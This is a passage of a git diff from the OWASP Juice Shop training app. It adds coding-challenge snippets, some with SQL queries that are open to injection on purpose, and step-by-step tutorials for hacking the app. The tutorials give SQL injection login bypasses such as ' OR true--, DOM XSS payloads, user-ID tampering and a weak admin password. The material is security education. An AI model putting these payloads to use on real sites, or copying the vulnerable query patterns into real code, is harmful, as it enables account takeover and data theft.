b/data/static/codefixes/unionSqlInjectionChallenge_1.ts new file mode 100644 index 00000000000..8ef9f5af173 --- /dev/null +++ b/data/static/codefixes/unionSqlInjectionChallenge_1.ts @@ -0,0 +1,18 @@ +module.exports = function searchProducts () { + return (req: Request, res: Response, next: NextFunction) => { + let criteria: any = req.query.q === 'undefined' ? '' : req.query.q ?? '' + criteria = (criteria.length <= 200) ? criteria : criteria.substring(0, 200) + criteria.replace(/"|'|;|and|or/i, "") + models.sequelize.query(`SELECT * FROM Products WHERE ((name LIKE '%${criteria}%' OR description LIKE '%${criteria}%') AND deletedAt IS NULL) ORDER BY name`) + .then(([products]: any) => { + const dataString = JSON.stringify(products) + for (let i = 0; i < products.length; i++) { + products[i].name = req.__(products[i].name) + products[i].description = req.__(products[i].description) + } + res.json(utils.queryResultToJson(products)) + }).catch((error: ErrorWithParent) => { + next(error.parent) + }) + } +} \ No newline at end of file diff --git a/data/static/codefixes/unionSqlInjectionChallenge_2_correct.ts b/data/static/codefixes/unionSqlInjectionChallenge_2_correct.ts new file mode 100644 index 00000000000..4b7215dc98c --- /dev/null +++ b/data/static/codefixes/unionSqlInjectionChallenge_2_correct.ts @@ -0,0 +1,19 @@ +module.exports = function searchProducts () { + return (req: Request, res: Response, next: NextFunction) => { + let criteria: any = req.query.q === 'undefined' ? '' : req.query.q ?? '' + criteria = (criteria.length <= 200) ? criteria : criteria.substring(0, 200) + models.sequelize.query( + `SELECT * FROM Products WHERE ((name LIKE '%:criteria%' OR description LIKE '%:criteria%') AND deletedAt IS NULL) ORDER BY name`, + { replacements: { criteria } } + ).then(([products]: any) => { + const dataString = JSON.stringify(products) + for (let i = 0; i < products.length; i++) { + products[i].name = req.__(products[i].name) + products[i].description = req.__(products[i].description) + } + res.json(utils.queryResultToJson(products)) + }).catch((error: ErrorWithParent) => { + next(error.parent) + }) + } +} \ No newline at end of file diff --git a/data/static/codefixes/unionSqlInjectionChallenge_3.ts b/data/static/codefixes/unionSqlInjectionChallenge_3.ts new file mode 100644 index 00000000000..5d8569238ed --- /dev/null +++ b/data/static/codefixes/unionSqlInjectionChallenge_3.ts @@ -0,0 +1,22 @@ +module.exports = function searchProducts () { + return (req: Request, res: Response, next: NextFunction) => { + let criteria: any = req.query.q === 'undefined' ? '' : req.query.q ?? '' + criteria = (criteria.length <= 200) ? criteria : criteria.substring(0, 200) + // only allow apple or orange related searches + if (!criteria.startsWith("apple") || !criteria.startsWith("orange")) { + res.status(400).send() + return + } + models.sequelize.query(`SELECT * FROM Products WHERE ((name LIKE '%${criteria}%' OR description LIKE '%${criteria}%') AND deletedAt IS NULL) ORDER BY name`) + .then(([products]: any) => { + const dataString = JSON.stringify(products) + for (let i = 0; i < products.length; i++) { + products[i].name = req.__(products[i].name) + products[i].description = req.__(products[i].description) + } + res.json(utils.queryResultToJson(products)) + }).catch((error: ErrorWithParent) => { + next(error.parent) + }) + } +} \ No newline at end of file diff --git a/data/static/codefixes/xssBonusChallenge.info.yml b/data/static/codefixes/xssBonusChallenge.info.yml new file mode 100644 index 00000000000..5d0ae9fab4f --- /dev/null +++ b/data/static/codefixes/xssBonusChallenge.info.yml @@ -0,0 +1,13 @@ +fixes: + - id: 1 + explanation: "Removing the bypass of sanitization entirely is the best way to fix this vulnerability. Fiddling with Angular's built-in sanitization was entirely unnecessary as the user input for a text search should not be expected to contain HTML that needs to be rendered but merely plain text." + - id: 2 + explanation: 'Using bypassSecurityTrustResourceUrl() instead of bypassSecurityTrustHtml() changes the context for which input sanitization is bypassed. This switch might only accidentally keep XSS prevention intact, but the new URL context does not make any sense here.' + - id: 3 + explanation: 'Using bypassSecurityTrustSoundCloud() instead of bypassSecurityTrustHtml() supposedly bypasses sanitization to allow only content from that service provider. Not surprisingly, there is no such vendor-specific function bypassSecurityTrustSoundCloud() offered by the Angular DomSanitizer.' + - id: 4 + explanation: 'Using bypassSecurityTrustIframe() instead of bypassSecurityTrustHtml() supposedly bypasses sanitization to allow only ') + }, + { + text: 'Make sure your speaker volume is cranked up. Then hit enter.', + fixture: '.fill-remaining-space', + unskippable: true, + resolved: waitForElementsInnerHtmlToBe('#searchValue', '') + }, + { + text: + '🎉 Congratulations and enjoy the music!', + fixture: '.noResult', + resolved: waitInMs(5000) + } + ] +} diff --git a/frontend/src/hacking-instructor/challenges/codingChallenges.ts b/frontend/src/hacking-instructor/challenges/codingChallenges.ts new file mode 100644 index 00000000000..7f99e4e62cf --- /dev/null +++ b/frontend/src/hacking-instructor/challenges/codingChallenges.ts @@ -0,0 +1,92 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import { + waitInMs, waitForElementToGetClicked, waitForAngularRouteToBeVisited +} from '../helpers/helpers' +import { ChallengeInstruction } from '../' + +export const CodingChallengesInstruction: ChallengeInstruction = { + name: 'Coding Challenges', + hints: [ + { + text: + 'To do the tutorial on _Coding Challenges_, you have to find and visit the _Score Board_ first. Once there, you have to click the tutorial button for the _Score Board_ challenge to proceed.', + fixture: 'app-navbar', + fixtureAfter: true, + unskippable: true, + resolved: waitForAngularRouteToBeVisited('score-board') // FIXME The tutorial does not progress automatically. Workaround ^^^^^^^^^^^^^^^^ instruction above should be removed when fixed. + }, + { + text: + 'Many Juice Shop hacking challenges come with an associated _Coding Challenge_ which will teach you more about the underlying vulnerability on source code level.', + fixture: '#Score\\ Board\\.solved', + resolved: waitInMs(15000) + }, + { + text: + 'You can launch a Coding Challenge via the `<>`-button. Click the one for the _Score Board_ challenge now.', + fixture: '#codingChallengeTutorialButton', + unskippable: true, + resolved: waitForElementToGetClicked('#Score\\ Board\\.codingChallengeButton') + }, + { + text: + 'All Coding Challenges take place in a modal dialog like this. They consist of two parts, one for finding and one for fixing the vulnerability in the code.', + fixture: '#code-snippet', + resolved: waitInMs(15000) + }, + { + text: + 'The code snippet below shows a part of the actual application source code retrieved in real-time.', + fixture: '#code-snippet', + resolved: waitInMs(10000) + }, + { + text: + 'You will always get a snippet that is involved in the security vulnerability or flaw behind the corresponding hacking challenge. In this case, you see the routing code that exposes all dialogs, including the supposedly "well-hidden" Score Board.', + fixture: '#code-snippet', + resolved: waitInMs(20000) + }, + { + text: + 'For the "Find It" part of this coding challenge, tick the 🔲 on all lines of code that you think are responsible for exposing the Score Board. When done, click the _Submit_ button.', + fixture: '#code-snippet', + fixtureAfter: true, + unskippable: true, + resolved: waitForElementToGetClicked('#line114') + }, + { + text: + 'That\'s the one! Click the _Submit_ button proceed.', + fixture: '#code-snippet', + fixtureAfter: true, + unskippable: true, + resolved: waitForElementToGetClicked('#findItSubmitButton') + }, + { + text: + '🎊! You made it half-way through! In phase two you are now presented with several fix options. You must select the one which you think is the **best possible** fix for the security vulnerability.', + fixture: '#code-snippet', + resolved: waitInMs(10000) + }, + { + text: + 'This coding challenge is a bit "special", because the Score Board is crucial for progress tracking and acts as a hub for the other challenges. Keep that in mind when picking the _Correct Fix_ from the options _Fix 1_, _2_ and _3_.', + fixture: '#code-snippet', + fixtureAfter: true, + unskippable: true, + resolved: waitForElementToGetClicked('#fixItSubmitButton') + }, + { + text: + 'If you did\'nt get the answer right, just try again until the 🎊-cannon fires. Then click _Close_ to end the coding challenge and return to the Score Board.', + fixture: '#code-snippet', + fixtureAfter: true, + unskippable: true, + resolved: waitForElementToGetClicked('#fixItCloseButton') + } + ] +} diff --git a/frontend/src/hacking-instructor/challenges/domXss.ts b/frontend/src/hacking-instructor/challenges/domXss.ts new file mode 100644 index 00000000000..a017e9ac68c --- /dev/null +++ b/frontend/src/hacking-instructor/challenges/domXss.ts @@ -0,0 +1,114 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import { + waitForInputToHaveValue, + waitForElementsInnerHtmlToBe, + waitInMs +} from '../helpers/helpers' +import { ChallengeInstruction } from '../' + +export const DomXssInstruction: ChallengeInstruction = { + name: 'DOM XSS', + hints: [ + { + text: + "For this challenge, we'll take a close look at the _Search_ field at the top of the screen.", + fixture: '.fill-remaining-space', + unskippable: true, + resolved: waitInMs(8000) + }, + { + text: "Let's start by searching for all products containing `owasp` in their name or description.", + fixture: '.fill-remaining-space', + unskippable: true, + resolved: waitForInputToHaveValue('#searchQuery input', 'owasp') + }, + { + text: 'Now hit enter.', + fixture: '.fill-remaining-space', + unskippable: true, + resolved: waitForElementsInnerHtmlToBe('#searchValue', 'owasp') + }, + { + text: 'Nice! You should now see many cool OWASP-related products.', + fixture: '.fill-remaining-space', + resolved: waitInMs(8000) + }, + { + text: 'You might have noticed, that your search term is displayed above the results?', + fixture: 'app-search-result', + resolved: waitInMs(8000) + }, + { + text: 'What we will try now is a **Cross-Site Scripting (XSS)** attack, where we try to inject HTML or JavaScript code into the application.', + fixture: 'app-search-result', + resolved: waitInMs(15000) + }, + { + text: 'Change your search value into `

owasp` to see if we can inject HTML.', + fixture: '.fill-remaining-space', + unskippable: true, + resolved: waitForInputToHaveValue('#searchQuery input', '

owasp') + }, + { + text: 'Hit enter again.', + fixture: '.fill-remaining-space', + unskippable: true, + resolved: waitForElementsInnerHtmlToBe('#searchValue', '

owasp

') // Browsers will autocorrect the unclosed tag. + }, + { + text: "Hmm, this doesn't look normal, does it?", + fixture: '.noResult', + resolved: waitInMs(8000) + }, + { + text: 'If you right-click on the search term and inspect that part of the page with your browser, you will see that our `h1`-tag was _actually_ embedded into the page and is not just shown as plain text!', + fixture: '.noResult', + resolved: waitInMs(16000) + }, + { + text: "Let's now try to inject JavaScript. Type `` into the search box now.", + fixture: '.fill-remaining-space', + unskippable: true, + resolved: waitForInputToHaveValue('#searchQuery input', '') + }, + { + text: 'Hit enter again.', + fixture: '.fill-remaining-space', + unskippable: true, + resolved: waitForElementsInnerHtmlToBe('#searchValue', '') + }, + { + text: "😔 This didn't work as we hoped. If you inspect the page, you should see the `script`-tag but it is not executed for some reason.", + fixture: '.noResult', + resolved: waitInMs(10000) + }, + { + text: "Luckily there are _many_ different XSS payloads we can try. Let's try this one next: <iframe src=\"javascript:alert(`xss`)\">.", + fixture: '.fill-remaining-space', + unskippable: true, + resolved: waitForInputToHaveValue('#searchQuery input', '') + }, + { + text: + '🎉 Congratulations! You just successfully performed an XSS attack!', + fixture: '.noResult', + resolved: waitInMs(8000) + }, + { + text: + 'More precisely, this was a **DOM XSS** attack, because your payload was handled and improperly embedded into the page by the application frontend code without even sending it to the server.', + fixture: '.noResult', + resolved: waitInMs(16000) + } + ] +} diff --git a/frontend/src/hacking-instructor/challenges/forgedFeedback.ts b/frontend/src/hacking-instructor/challenges/forgedFeedback.ts new file mode 100644 index 00000000000..b313ae2c07a --- /dev/null +++ b/frontend/src/hacking-instructor/challenges/forgedFeedback.ts @@ -0,0 +1,82 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import { + waitInMs, + sleep, waitForAngularRouteToBeVisited, waitForElementToGetClicked, waitForDevTools +} from '../helpers/helpers' +import { ChallengeInstruction } from '../' + +export const ForgedFeedbackInstruction: ChallengeInstruction = { + name: 'Forged Feedback', + hints: [ + { + text: + 'To start this challenge, first go to the _Customer Feedback_ page.', + fixture: 'app-navbar', + fixtureAfter: true, + unskippable: true, + resolved: waitForAngularRouteToBeVisited('contact') + }, + { + text: + 'This challenge is about broken access controls. To pass it, you need to impersonate another user while providing feedback.', + fixture: 'app-navbar', + resolved: waitInMs(10000) + }, + { + text: + 'If you would now submit feedback, it would be posted by yourself while logged in or anonymously while logged out.', + fixture: 'app-navbar', + resolved: waitInMs(10000) + }, + { + text: + 'We will now search for any mistake the application developers might have made in setting the author of any new feedback.', + fixture: 'app-navbar', + resolved: waitInMs(10000) + }, + { + text: + "Open the browser's _Development Tools_ and try finding anything interesting while inspecting the feedback form.", + fixture: 'app-navbar', + resolved: waitForDevTools() + }, + { + text: + 'There is more than meets the eye among the fields of the form... 😉', + fixture: 'app-navbar', + resolved: waitInMs(8000) + }, + { + text: + "Once you found the field that shouldn't even be there, try manipulating its value to one that might represent another user!", + fixture: 'app-navbar', + unskippable: true, + async resolved () { + const userId = (document.getElementById('userId') as HTMLInputElement).value + while (true) { + if ((document.getElementById('userId') as HTMLInputElement).value !== userId) { + break + } + await sleep(100) + } + } + }, + { + text: + 'You found and changed the invisible `userId`! Now submit the form to complete the challenge.', + fixture: 'app-navbar', + unskippable: true, + resolved: waitForElementToGetClicked('#submitButton') + }, + { + text: + '🎉 Congratulations, you successfully submitted a feedback as another user!', + fixture: 'app-navbar', + resolved: waitInMs(15000) + } + ] +} diff --git a/frontend/src/hacking-instructor/challenges/loginAdmin.ts b/frontend/src/hacking-instructor/challenges/loginAdmin.ts new file mode 100644 index 00000000000..6db6483853d --- /dev/null +++ b/frontend/src/hacking-instructor/challenges/loginAdmin.ts @@ -0,0 +1,129 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import { + waitForInputToHaveValue, + waitForInputToNotBeEmpty, + waitForElementToGetClicked, + waitInMs, + waitForAngularRouteToBeVisited, waitForLogOut +} from '../helpers/helpers' +import { ChallengeInstruction } from '../' + +export const LoginAdminInstruction: ChallengeInstruction = { + name: 'Login Admin', + hints: [ + { + text: + "To start this challenge, you'll have to log out first.", + fixture: '#navbarAccount', + unskippable: true, + resolved: waitForLogOut() + }, + { + text: + "Let's try if we find a way to log in with the administrator's user account. To begin, go to the _Login_ page via the _Account_ menu.", + fixture: 'app-navbar', + fixtureAfter: true, + unskippable: true, + resolved: waitForAngularRouteToBeVisited('login') + }, + { + text: 'To find a way around the normal login process we will try to use a **SQL Injection** (SQLi) attack.', + fixture: '#email', + resolved: waitInMs(8000) + }, + { + text: "A good starting point for simple SQL Injections is to insert quotation marks (like `\"` or `'`). These mess with the syntax of an insecurely concatenated query and might give you feedback if an endpoint is vulnerable or not.", + fixture: '#email', + resolved: waitInMs(15000) + }, + { + text: "Start with entering `'` in the **email field**.", + fixture: '#email', + unskippable: true, + resolved: waitForInputToHaveValue('#email', "'") + }, + { + text: "Now put anything in the **password field**. It doesn't matter what.", + fixture: '#password', + unskippable: true, + resolved: waitForInputToNotBeEmpty('#password') + }, + { + text: 'Press the _Log in_ button.', + fixture: '#rememberMe', + unskippable: true, + resolved: waitForElementToGetClicked('#loginButton') + }, + { + text: "Nice! Do you see the red `[object Object]` error at the top? Unfortunately it isn't really telling us much about what went wrong...", + fixture: '#rememberMe', + resolved: waitInMs(10000) + }, + { + text: 'Maybe you will be able to find out more information about the error in the JavaScript console or the network tab of your browser!', + fixture: '#rememberMe', + resolved: waitInMs(10000) + }, + { + text: 'Did you spot the error message with the `SQLITE_ERROR` and the entire SQL query in the 500 response to `/login`? If not, keep the network tab open and click _Log in_ again. Then inspect the occuring response closely.', + fixture: '#rememberMe', + resolved: waitInMs(30000) + }, + { + text: "Let's try to manipulate the query a bit to make it useful. Try out typing `' OR true` into the **email field**.", + fixture: '#email', + unskippable: true, + resolved: waitForInputToHaveValue('#email', "' OR true") + }, + { + text: 'Now click the _Log in_ button again.', + fixture: '#rememberMe', + unskippable: true, + resolved: waitForElementToGetClicked('#loginButton') + }, + { + text: 'Mhh... The query is still invalid? Can you see why from the new error in the HTTP response?', + fixture: '#rememberMe', + resolved: waitInMs(8000) + }, + { + text: "We need to make sure that the rest of the query after our injection doesn't get executed. Any Ideas?", + fixture: '#rememberMe', + resolved: waitInMs(8000) + }, + { + text: 'You can comment out anything after your injection payload from query using comments in SQL. In SQLite databases you can use `--` for that.', + fixture: '#rememberMe', + resolved: waitInMs(10000) + }, + { + text: "So, type in `' OR true--` into the email field.", + fixture: '#email', + unskippable: true, + resolved: waitForInputToHaveValue('#email', "' OR true--") + }, + { + text: 'Press the _Log in_ button again and sit back...', + fixture: '#rememberMe', + unskippable: true, + resolved: waitForElementToGetClicked('#loginButton') + }, + { + text: + 'That worked, right?! To see with whose account you just logged in, open the _Account_ menu.', + fixture: '#navbarAccount', + unskippable: true, + resolved: waitForElementToGetClicked('#navbarAccount') + }, + { + text: + '🎉 Congratulations! You have been logged in as the **administrator** of the shop! (If you want to understand why, try to reproduce what your `\' OR true--` did _exactly_ to the query.)', + fixture: 'app-navbar', + resolved: waitInMs(20000) + } + ] +} diff --git a/frontend/src/hacking-instructor/challenges/loginBender.ts b/frontend/src/hacking-instructor/challenges/loginBender.ts new file mode 100644 index 00000000000..970266ad6ca --- /dev/null +++ b/frontend/src/hacking-instructor/challenges/loginBender.ts @@ -0,0 +1,106 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import { + waitForInputToHaveValue, + waitForElementToGetClicked, + waitInMs, + waitForAngularRouteToBeVisited, waitForLogOut, waitForInputToNotHaveValueAndNotBeEmpty +} from '../helpers/helpers' +import { ChallengeInstruction } from '../' + +export const LoginBenderInstruction: ChallengeInstruction = { + name: 'Login Bender', + hints: [ + { + text: + "To start this challenge, you'll have to log out first.", + fixture: '#navbarAccount', + unskippable: true, + resolved: waitForLogOut() // TODO Add check if "Login Admin" is solved and if not recommend doing that first + }, + { + text: + "Let's try if we find a way to log in with Bender's user account. To begin, go to the _Login_ page via the _Account_ menu.", + fixture: 'app-navbar', + fixtureAfter: true, + unskippable: true, + resolved: waitForAngularRouteToBeVisited('login') + }, + { + text: + "As you would expect you need to supply Bender's email address and password to log in regularly. But you might have neither at the moment.", + fixture: 'app-navbar', + resolved: waitInMs(15000) + }, + { + text: + 'If we had at least the email address, we could then try a **SQL Injection** (SQLi) attack to avoid having to supply a password.', + fixture: 'app-navbar', + resolved: waitInMs(15000) + }, + { + text: + "So, let's go find out Bender's email! Luckily the shop is very bad with privacy and leaks emails in different places, for instance in the user feedback.", + fixture: 'app-navbar', + resolved: waitInMs(15000) + }, + { + text: + 'Go to the _About Us_ page where user feedback is displayed among other things.', + fixture: 'app-navbar', + fixtureAfter: true, + resolved: waitForAngularRouteToBeVisited('about') + }, + { + text: + 'Once you found an entry by Bender in the feedback carousel leaking enough of his email to deduce the rest, go to the _Login_ screen.', + fixture: 'app-about', + unskippable: true, + resolved: waitForAngularRouteToBeVisited('login') + }, + { + text: "Supply Bender's email address in the **email field**.", + fixture: '#email', + unskippable: true, + resolved: waitForInputToHaveValue('#email', 'bender@juice-sh.op', { replacement: ['juice-sh.op', 'application.domain'] }) + }, + { + text: "Now put anything in the **password field**. Let's assume we don't know it yet, even if you happen to already do.", + fixture: '#password', + unskippable: true, + resolved: waitForInputToNotHaveValueAndNotBeEmpty('#password', 'OhG0dPlease1nsertLiquor!') + }, + { + text: 'Press the _Log in_ button.', + fixture: '#rememberMe', + unskippable: true, + resolved: waitForElementToGetClicked('#loginButton') + }, + { + text: "This didn't work, but did you honestly expect it to? We need to craft an SQLi attack first!", + fixture: '#rememberMe', + resolved: waitInMs(10000) + }, + { + text: "You can comment out the entire password check clause of the DB query by adding `'--` to Bender's email address!", + fixture: '#email', + unskippable: true, + resolved: waitForInputToHaveValue('#email', "bender@juice-sh.op'--", { replacement: ['juice-sh.op', 'application.domain'] }) + }, + { + text: 'Now click the _Log in_ button again.', + fixture: '#rememberMe', + unskippable: true, + resolved: waitForElementToGetClicked('#loginButton') + }, + { + text: + '🎉 Congratulations! You have been logged in as Bender!', + fixture: 'app-navbar', + resolved: waitInMs(5000) + } + ] +} diff --git a/frontend/src/hacking-instructor/challenges/loginJim.ts b/frontend/src/hacking-instructor/challenges/loginJim.ts new file mode 100644 index 00000000000..81debbe0117 --- /dev/null +++ b/frontend/src/hacking-instructor/challenges/loginJim.ts @@ -0,0 +1,105 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import { + waitForInputToHaveValue, + waitForElementToGetClicked, + waitInMs, + waitForAngularRouteToBeVisited, waitForLogOut, waitForInputToNotHaveValueAndNotBeEmpty +} from '../helpers/helpers' +import { ChallengeInstruction } from '../' + +export const LoginJimInstruction: ChallengeInstruction = { + name: 'Login Jim', + hints: [ + { + text: + "To start this challenge, you'll have to log out first.", + fixture: '#navbarAccount', + unskippable: true, + resolved: waitForLogOut() // TODO Add check if "Login Admin" is solved and if not recommend doing that first + }, + { + text: + "Let's try if we find a way to log in with Jim's user account. To begin, go to the _Login_ page via the _Account_ menu.", + fixture: 'app-navbar', + fixtureAfter: true, + unskippable: true, + resolved: waitForAngularRouteToBeVisited('login') + }, + { + text: + "As you would expect you need to supply Jim's email address and password to log in regularly. But you might have neither at the moment.", + fixture: 'app-navbar', + resolved: waitInMs(15000) + }, + { + text: + 'If we had at least the email address, we could then try a **SQL Injection** (SQLi) attack to avoid having to supply a password.', + fixture: 'app-navbar', + resolved: waitInMs(15000) + }, + { + text: + "So, let's go find out Jim's email! Luckily the shop is very bad with privacy and leaks emails in different places, for instance in the product reviews.", + fixture: 'app-navbar', + resolved: waitInMs(15000) + }, + { + text: + 'Go back to the product list and click on some to open their details dialog which also hold the user reviews.', + fixture: '.fill-remaining-space', + resolved: waitForAngularRouteToBeVisited('search') + }, + { + text: + 'Once you found a user review by Jim and learned his email, go to the _Login_ screen.', + fixture: '.fill-remaining-space', + unskippable: true, + resolved: waitForAngularRouteToBeVisited('login') + }, + { + text: "Supply Jim's email address in the **email field**.", + fixture: '#email', + unskippable: true, + resolved: waitForInputToHaveValue('#email', 'jim@juice-sh.op', { replacement: ['juice-sh.op', 'application.domain'] }) + }, + { + text: "Now put anything in the **password field**. Let's assume we don't know it yet, even if you happen to already do.", + fixture: '#password', + unskippable: true, + resolved: waitForInputToNotHaveValueAndNotBeEmpty('#password', 'ncc-1701') + }, + { + text: 'Press the _Log in_ button.', + fixture: '#rememberMe', + unskippable: true, + resolved: waitForElementToGetClicked('#loginButton') + }, + { + text: "This didn't work, but did you honestly expect it to? We need to craft an SQLi attack first!", + fixture: '#rememberMe', + resolved: waitInMs(10000) + }, + { + text: "You can comment out the entire password check clause of the DB query by adding `'--` to Jim's email address!", + fixture: '#email', + unskippable: true, + resolved: waitForInputToHaveValue('#email', "jim@juice-sh.op'--", { replacement: ['juice-sh.op', 'application.domain'] }) + }, + { + text: 'Now click the _Log in_ button again.', + fixture: '#rememberMe', + unskippable: true, + resolved: waitForElementToGetClicked('#loginButton') + }, + { + text: + '🎉 Congratulations! You have been logged in as Jim!', + fixture: 'app-navbar', + resolved: waitInMs(5000) + } + ] +} diff --git a/frontend/src/hacking-instructor/challenges/passwordStrength.ts b/frontend/src/hacking-instructor/challenges/passwordStrength.ts new file mode 100644 index 00000000000..6bc9da60e73 --- /dev/null +++ b/frontend/src/hacking-instructor/challenges/passwordStrength.ts @@ -0,0 +1,88 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import { + waitForInputToHaveValue, + waitForInputToNotBeEmpty, + waitForElementToGetClicked, + waitInMs, + waitForAngularRouteToBeVisited, waitForLogOut +} from '../helpers/helpers' +import { ChallengeInstruction } from '../' + +export const PasswordStrengthInstruction: ChallengeInstruction = { + name: 'Password Strength', + hints: [ + { + text: + "To start this challenge, you'll have to log out first.", + fixture: '#navbarAccount', + unskippable: true, + resolved: waitForLogOut() + }, + { + text: + "In this challenge we'll try to log into the administrator's user account using his original credentials.", + fixture: 'app-navbar', + resolved: waitInMs(7000) + }, + { + text: + "If you don't know it already, you must first find out the admin's email address. The user feedback and product reviews are good places to look into. When you have it, go to the _Login_ page.", + fixture: 'app-navbar', + fixtureAfter: true, + unskippable: true, + resolved: waitForAngularRouteToBeVisited('login') + }, + { + text: "Enter the admin's email address into the **email field**.", + fixture: '#email', + unskippable: true, + resolved: waitForInputToHaveValue('#email', 'admin@juice-sh.op') // TODO Use domain from config instead + }, + { + text: 'Now for the password. Lucky for us, the admin chose a really, really, **really** stupid one. Just try any that comes to your mind!', + fixture: '#password', + unskippable: true, + resolved: waitForInputToNotBeEmpty('#password') + }, + { + text: "🤦‍♂️ Nah, that was wrong! Keep trying! I'll tell you when you're one the right track.", + fixture: '#password', + unskippable: true, + resolved: waitForInputToHaveValue('#password', 'admin') + }, + { + text: 'Okay, you are one the right track, but this would have been the worst password in the world for an admin. He spiced it up a little bit with some extra non-letter characters. Keep trying!', + fixture: '#password', + unskippable: true, + resolved: waitForInputToHaveValue('#password', 'admin1') + }, + { + text: "🔥 Yes, it's getting warmer! Try adding some more numbers maybe?", + fixture: '#password', + unskippable: true, + resolved: waitForInputToHaveValue('#password', 'admin12') + }, + { + text: "🧯 It's getting hot! Just one more digit...", + fixture: '#password', + unskippable: true, + resolved: waitForInputToHaveValue('#password', 'admin123') + }, + { + text: 'Okay, now press the _Log in_ button.', + fixture: '#rememberMe', + unskippable: true, + resolved: waitForElementToGetClicked('#loginButton') + }, + { + text: + '🎉 Congratulations! You have been logged in as the **administrator** of the shop thanks to his very ill chosen password!', + fixture: 'app-navbar', + resolved: waitInMs(20000) + } + ] +} diff --git a/frontend/src/hacking-instructor/challenges/privacyPolicy.ts b/frontend/src/hacking-instructor/challenges/privacyPolicy.ts new file mode 100644 index 00000000000..e9a33b7e16c --- /dev/null +++ b/frontend/src/hacking-instructor/challenges/privacyPolicy.ts @@ -0,0 +1,41 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import { + waitInMs, waitForAngularRouteToBeVisited, waitForElementToGetClicked, waitForLogIn +} from '../helpers/helpers' +import { ChallengeInstruction } from '../' + +export const PrivacyPolicyInstruction: ChallengeInstruction = { + name: 'Privacy Policy', + hints: [ + { + text: + 'Log in with any user to begin this challenge. You can use an existing or freshly registered account.', + fixture: 'app-navbar', + fixtureAfter: true, + unskippable: true, + resolved: waitForLogIn() + }, + { + text: + 'Great, you are logged in! Now open the _Account_ menu.', + fixture: '#navbarAccount', + resolved: waitForElementToGetClicked('#navbarAccount') + }, + { + text: + 'Open the _Privacy & Security_ sub-menu and click _Privacy Policy_.', + fixture: 'app-navbar', + unskippable: true, + resolved: waitForAngularRouteToBeVisited('privacy-security/privacy-policy') + }, + { + text: '🎉 That was super easy, right? This challenge is a bit of a joke actually, because nobody reads any fine print online... 🙈', + fixture: 'app-navbar', + resolved: waitInMs(60000) + } + ] +} diff --git a/frontend/src/hacking-instructor/challenges/scoreBoard.ts b/frontend/src/hacking-instructor/challenges/scoreBoard.ts new file mode 100644 index 00000000000..94c6ee9bc05 --- /dev/null +++ b/frontend/src/hacking-instructor/challenges/scoreBoard.ts @@ -0,0 +1,52 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import { + waitInMs, waitForAngularRouteToBeVisited, waitForDevTools +} from '../helpers/helpers' +import { ChallengeInstruction } from '../' + +export const ScoreBoardInstruction: ChallengeInstruction = { + name: 'Score Board', + hints: [ + { + text: + 'This application is riddled with security vulnerabilities. Your progress exploiting these is tracked on a _Score Board_.', + fixture: 'app-navbar', + unskippable: true, + resolved: waitInMs(10000) + }, + { + text: + "You won't find a link to it in the navigation or side bar, though. Finding the _Score Board_ is in itself actually one of the hacking challenges.", + fixture: 'app-navbar', + resolved: waitInMs(12000) + }, + { + text: + 'You could just start guessing the URL of the _Score Board_ or comb through the client-side JavaScript code for useful information.', + fixture: 'app-navbar', + resolved: waitInMs(12000) + }, + { + text: + 'You find the JavaScript code in the DevTools of your browser that will open with `F12`.', + fixture: 'app-navbar', + resolved: waitForDevTools() + }, + { + text: + "Look through the client-side JavaScript in the _Sources_ tab for clues. Or just start URL guessing. It's up to you!", + fixture: 'app-navbar', + unskippable: true, + resolved: waitForAngularRouteToBeVisited('score-board') + }, + { + text: '🎉 Congratulations! You found the _Score Board_! Good luck and happy hacking!', + fixture: 'app-score-board', + resolved: waitInMs(60000) + } + ] +} diff --git a/frontend/src/hacking-instructor/challenges/viewBasket.ts b/frontend/src/hacking-instructor/challenges/viewBasket.ts new file mode 100644 index 00000000000..5afebea2cff --- /dev/null +++ b/frontend/src/hacking-instructor/challenges/viewBasket.ts @@ -0,0 +1,97 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import { + waitInMs, + sleep, waitForAngularRouteToBeVisited, waitForLogIn, waitForDevTools +} from '../helpers/helpers' +import { ChallengeInstruction } from '../' + +export const ViewBasketInstruction: ChallengeInstruction = { + name: 'View Basket', + hints: [ + { + text: + "This challenge is about **Horizontal Privilege Escalation**, meaning you are supposed access data that does not belong to your own account but to another user's.", + fixture: 'app-navbar', + resolved: waitInMs(18000) + }, + { + text: + "To start this challenge, you'll have to log in first.", + fixture: 'app-navbar', + unskippable: true, + resolved: waitForLogIn() + }, + { + text: + "First, go to the _Your Basket_ page to view your own shopping basket. It's likely to be empty, if you didn't add anything yet.", + fixture: 'app-navbar', + unskippable: true, + resolved: waitForAngularRouteToBeVisited('basket') + }, + { + text: + "To pass this challenge, you will need to peak into another user's basket while remaining logged in with your own account.", + fixture: 'app-navbar', + resolved: waitInMs(8000) + }, + { + text: + 'If the application stores a reference to the basket somewhere in the browser, that might be a possible attack vector.', + fixture: 'app-navbar', + resolved: waitInMs(12000) + }, + { + text: + "Open the browser's _Development Tools_ and locate the _Session Storage_ tab. Similar to 🍪s, it can be used to store data in key/value pairs for each website.", + fixture: 'app-navbar', + resolved: waitForDevTools() + }, + { + text: + 'Look over the names of the used session keys. Do you see something that might be related to the shopping basket? Try setting it to a different value! 